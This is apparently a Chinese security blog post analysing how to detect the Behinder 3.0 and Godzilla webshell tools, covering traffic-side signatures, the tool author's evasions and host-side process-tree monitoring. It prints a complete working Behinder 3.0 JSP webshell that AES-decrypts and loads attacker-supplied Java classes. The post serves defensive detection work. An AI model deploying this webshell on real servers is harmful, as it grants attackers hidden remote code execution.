在主机侧检测冰蝎3.0及哥斯拉

由 mayoterry 发布

简介

随着HW行动的开始进行,冰蝎作者rebeyond突然发布了v3.0版本,随后,另一款WebShell管理工具“哥斯拉Godzilla”也进行了公开发布。冰蝎WebShell管理工具凭借着其动态解析二进制class字节码的能力及对称加密流量数据包的特征,在此之前绕过了不少安全设备及安全软件的检测,因此名声大噪,也算得上国内最主流的WebShell管理工具之一了,此次作者突然在特殊时间节点更新了工具,这无疑增加了防守方的额外压力。

看一下本次更新的官方说明:

冰蝎v3.0

1.去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5("admin")[0:16];

2.增加了插件机制,可开发安装自定义扩展插件;

3.增强了内网穿透功能,在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口;

4.请求体增加了随机冗余参数,避免防护设备通过请求体大小识别请求;

5.更新了内置的UesrAgent列表;

6.修复了请求体中cookie值携带cookie属性的问题;

7.修该了Accept请求头;

截止本文发布时,冰蝎连续发布了三个版本(Behinder_v3.0 Beta 1,Behinder_v3.0 Beta 2,Behinder_v3.0 Beta 3)进行代码的优化,其中第三个小版本更新的目的很直接,就是为了躲避流量侧安全设备的检测。

哥斯拉Godzilla

  1. 哥斯拉全部类型的shell均过市面所有静态查杀
  2. 哥斯拉流量加密过市面全部流量waf
  3. 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的

以上为哥斯拉作者的工具发布说明,是否真实有待评估,但是可以看出作者发布这款工具的目的,那就是对抗安全检测设备及软件。

主流WebShell检测手段

在高强度的红蓝对抗中,WebShell的检测是其中非常重要的一环,判断一款安全产品的WebShell检测能力,除了检出率和误报率的平衡外,检出的实时性,也是一个非常重要的因素。按照检测场景的分类,可以将WebShell的检测分为主机侧和流量侧两个方向。

主机侧

主机侧检测WebShell的主要方式是在文件上传并落地磁盘时,使用linux上如inotify类的工具进行新增或改动文件的监控,随后将文件内容传入WebShell检测引擎进行识别,判断是否为恶意。此类方式检测的有效性和WebShell检测引擎的能力直接挂钩,

以下为冰蝎3.0 JSP WebShell

AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb

对比老版本,新版本变化特征:

1 )在文件头和文件尾新增了一些无效的字符串,如AAAAA ,bbbb;

2 )将AES密钥直接写在Webshell文件中,减去了生成随机密钥时产生的数据包(目的是为了躲避流量设备检测冰蝎时,将交互密钥产生的数据包作为一个“强特征”)

可以看出新版的JSP Webshell针对文件本身的实现逻辑并没有太大变化,还是采用defineClass动态解析二进制class字节码,在作者发布工具的第一时间,我们内部就完成了自测,下图为QT雷火WebShell检测引擎将冰蝎JSP WebShell标记为“恶意”。

23177-9qnk6dq0z5.png

针对当下流行的内存无文件 WebShell(参考链接),其恶意的代码并没有落地在磁盘上,这无疑增加了主机侧的检测难度,但是我们可以分析攻击者在利用WebShell时的一些列行为特征,进行恶意行为的检测,例如实时监控主机的异常进程行为等。

在本地靶机使用httpd和php搭建Web环境进行模拟,攻击者在上传WebShell后,执行了一些常见探测系统环境的命令,观察发现,这些系统命令的进程存在明显的父子进程关系,攻击者执行的系统命令产生的进程都为httpd的子进程。根据这些特征,可以在主机建立异常进程的行为特征模型,如果存在以上行为,则会触发对应告警。

55336-hy0a9rf60rk.png

流量侧

流量侧的一些安全设备,如WAF,IDS,在对WebShell进行检测时大致可以分为两种情况,一种是在Webshell上传时,如通过上传漏洞,SQL注入写文件,命令执行写文件等,对http请求包里包含的WebShell字符进行识别检测,另一种是在客户端和服务端通信时,识别一些http数据包的固定特征,或者识别命令执行后的http返回包内容。

在WebShell上传时,如果文件内容在数据包里明文的展示,这对流量检测设备来说相对比较容易进行检测了。

22929-x5wvp9s5m2.png

如果攻击者是利用shiro执行系统命令进行写文件,因为shiro漏洞利用时的payload是经过AES加密写在cookie里的,如果AES密钥未能获取,那几乎不可能解密数据包进行恶意识别。当然shiro只是举例说明,实际环境可能千奇百怪,各类加密流量都可能存在。

43784-f2bsn5rffe6.png

在冰蝎2.0时,流量侧的检测手段通常包含以下:

1)UserAgent字段,冰蝎2.0内置了十余种UserAgent,每次连接shell会随机选择一个进行使用;

2 )Accept字段,冰蝎2.0内置了默认的Accept字段;

3) 传递的密钥,冰蝎2.0随机产生的16位数AES密钥会在数据包产生稍微明显的特征(强特征);

4)http body中base64加密字符串的特征及长度。

上次方式通过逻辑条件进行组合检测,可能会有不错的效果。

在冰蝎 Behinder_v3.0 Beta 1版本发布时,因为使用了预置的AES密钥,所有不会发出了AES交换密钥的数据包了,作为不少流量安全设备识别冰蝎2.0的一个强特征,在新版本也就不存在了,所以此时不得不从其他方式进行流量侧的时别,很快国内不少安全研究的大佬纷纷给出了从流量侧检测冰蝎3.0的方式:

1 ) 认证包request和response的长度是固定的,可以以此作为特征来进行检测;

2) 冰蝎3.0内置了17个默认的User-Agent头;

3 )content-type,accept,Cache-Control等(但是可以被自定义修改)

可能是作者rebeyond看到了各种提供检测思路的文章,紧接着发布了冰蝎 Behinder_v3.0 Beta 3的版本,相比上个版本,官方的Changelog如下:

61654-0ujimiqzeil.png

可以看到,仅隔一天,作为检测 Behinder_v3.0 Beta 1唯一强特征的 “固定大小数据包”被作者用随机冗余参数给改掉了,至此,从流量侧检测最新版本冰蝎的思路好像被扼杀了,至于后续各位大佬们有啥新的思路,让我们拭目以待吧。

综合以上从流量侧检测冰蝎的思路过程,可以发现整个过程基本没有一个比较完美且通用的检测思路,而且比较被动,工具作者可能稍微改动一些特征,防守方之前做的检测规则可能就会失效。针对冰蝎此类开源的工具都不能从容对待,那对一些 “定制加密版”的Webshell,我们又该如何从流量侧去有效的发现呢?

如何在主机侧有效检测WebShell

(这段涉及公司的产品,暂就不写在博客了)

总结

安全本质上就是一个攻防对抗的过程,没有一种攻击手段能永久有效,也没有一种防守方式能一劳永逸,但是不同方式的防守或检测效果,其结果往往会相差很多。在WebShell检测领域内,随着各种流量加密类型WebShell的普及和使用,流量侧检测WebShell的劣势会逐渐放大,相反,主机侧检测WebShell的战场会越发扩大,并且会成为未来的主要方式。

参考:

https://github.com/rebeyond/Behinder

https://github.com/BeichenDream/Godzilla/


暂无评论

发表评论